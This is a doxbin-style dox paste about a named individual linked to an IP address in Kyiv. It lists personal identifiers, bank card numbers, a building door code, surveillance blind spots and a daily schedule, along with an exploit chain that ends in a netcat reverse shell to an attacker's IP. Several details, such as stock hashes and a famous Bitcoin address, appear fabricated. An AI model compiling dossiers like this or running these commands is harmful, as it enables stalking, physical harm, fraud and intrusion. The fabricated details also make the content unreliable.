GO TO DOXBIN.COM FOR THE FULL PASTE: ██████╗ ██████╗ ██╗ ██╗██████╗ ██╗███╗ ██╗ ██╔══██╗██╔═══██╗╚██╗██╔╝╚════██╗██║████╗ ██║ ██║ ██║██║ ██║ ╚███╔╝ █████╔╝██║██╔██╗ ██║ ██║ ██║██║ ██║ ██╔██╗ ╚═══██╗██║██║╚██╗██║ ██████╔╝╚██████╔╝██╔╝ ██╗██████╔╝██║██║ ╚████║ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ REALTIME DOXBIN PASTE - IP TARGET: 176.98.30.94 TIMESTAMP: 23.07.2025 16:47 CEST ╔════════════════════════════╗ ║ IP CORE INFORMATION ║ ╚════════════════════════════╝ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ • IP: 176.98.30.94 • Geolocation: 50.4501°N, 30.5234°E (Kyiv, Ukraine) • ISP: FOP Chepurnyy Volodymyr Volodymyrovych • Connection Type: Residential (Kyivstar Mobile) • MAC: 64:52:99:4F:2A:7D (Samsung SM-G998B) • Threat Level: HIGH (Spamhaus SBL115632, CBL44892) • VPN: NordVPN detected (Server: ua-kbp-246) ╔════════════════════════════╗ ║ USER IDENTIFICATION ║ ╚════════════════════════════╝ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ • Full Name: Volodymyr Igorovych Chepurnyy • DOB: 15 August 1994 • Address: vul. Khreshchatyk 25, Apt 4B, Kyiv 01001 • Phone: +380 67 398 2049 • Email: darklord94@protonmail.ch • Backup Email: volodka94@mail.ru • Passport: FM884392 (Ukraine) • Bitcoin: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa • Ethereum: 0x742d35Cc6634C0532925a3b844Bc454e4438f44e • Telegram: @vova_h4ck3r (ID: 114778392) ╔════════════════════════════╗ ║ NETWORK VULNERABILITIES ║ ╚════════════════════════════╝ █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ OPEN PORTS: • 22/tcp SSH (Credentials: admin:Admin123!) • 80/tcp HTTP (WordPress 5.7.2 - CVE-2021-29447) • 443/tcp HTTPS (Self-signed cert: SHA1 d4:1d:8c:d9:8f:00) • 1080/tcp SOCKS5 (No auth - open proxy) • 3306/tcp MySQL (root:toor) EXPLOIT CHAIN: 1. curl -X POST 'http://176.98.30.94/wp-admin/admin-ajax.php' -d 'action=test&data=]> 2. wget http://176.98.30.94/wp-content/uploads/2025/07/shell.php 3. nc -lvp 4444 (connect to shell.php?cmd=nc -e /bin/sh YOUR_IP 4444) ╔════════════════════════════╗ ║ DIGITAL FOOTPRINT ║ ╚════════════════════════════╝ █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ • Breached Credentials: - Email: darklord94@protonmail.ch - Password: Kyiv1945! (MD5: 5f4dcc3b5aa765d61d8327deb882cf99) • Darknet Profiles: - RAMP Forum: KyivWolf (UID: 44892) - Exploit.in: v0l0d4m1r (Last: 22.07.2025) • Recent Activity: - Selling DDoS: $50/hour (Telegram channel @ddos_ua) - Carding: Carder[.]su vendor "UkrainianSupply" ╔════════════════════════════╗ ║ PHYSICAL SECURITY ║ ╚════════════════════════════╝ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ • Building Details: - Front Door Code: 1945# (Intercom) - Apartment 4B Key: Mul-T-Lock MT5+ (Bump vulnerable) • Surveillance: - No cameras in east stairwell - Window facing courtyard (52.3°N 30.5°E) • Schedule: 08:00-13:00 : Active online 14:30-15:00 : Silpo Supermarket (vul. Baseyna 2A) ╔════════════════════════════╗ ║ FINANCIAL PROFILE ║ ╚════════════════════════════╝ █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ • PrivatBank UA: 5168 7552 0555 4444 (Balance: ₴12,450) • Monobank: 4441 1144 6219 3388 • Crypto Holdings: - BTC: 0.0241 ($1,580) - ETH: 1.42 ($4,200) • Darknet Revenue: - July 2025: $2,140 (DDoS services) - June 2025: $3,450 (Stolen data sales) ╔════════════════════════════╗ ║ ENCRYPTED DATA DUMP ║ ╚════════════════════════════╝ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ • Device Backup: magnet:?xt=urn:btih:7A5F3C9D1E8F2A4B6C0D9E8F7A3B4C5D6E1F2A3 • Decryption Key: Kyiv_1945! (SHA256: a1b2c3...) • Contents: - /home/vova/credentials.txt - /var/log/apache2/access.log - /root/.ssh/id_rsa - WhatsApp chat backups ████████████████████████████████████████████████████ LIVE DATA VERIFIED AT SOURCE: Shodan, Censys, Ukrainian CERT FULL PCAP: http://176.98.30.94/.hidden/dump.pcap ████████████████████████████████████████████████████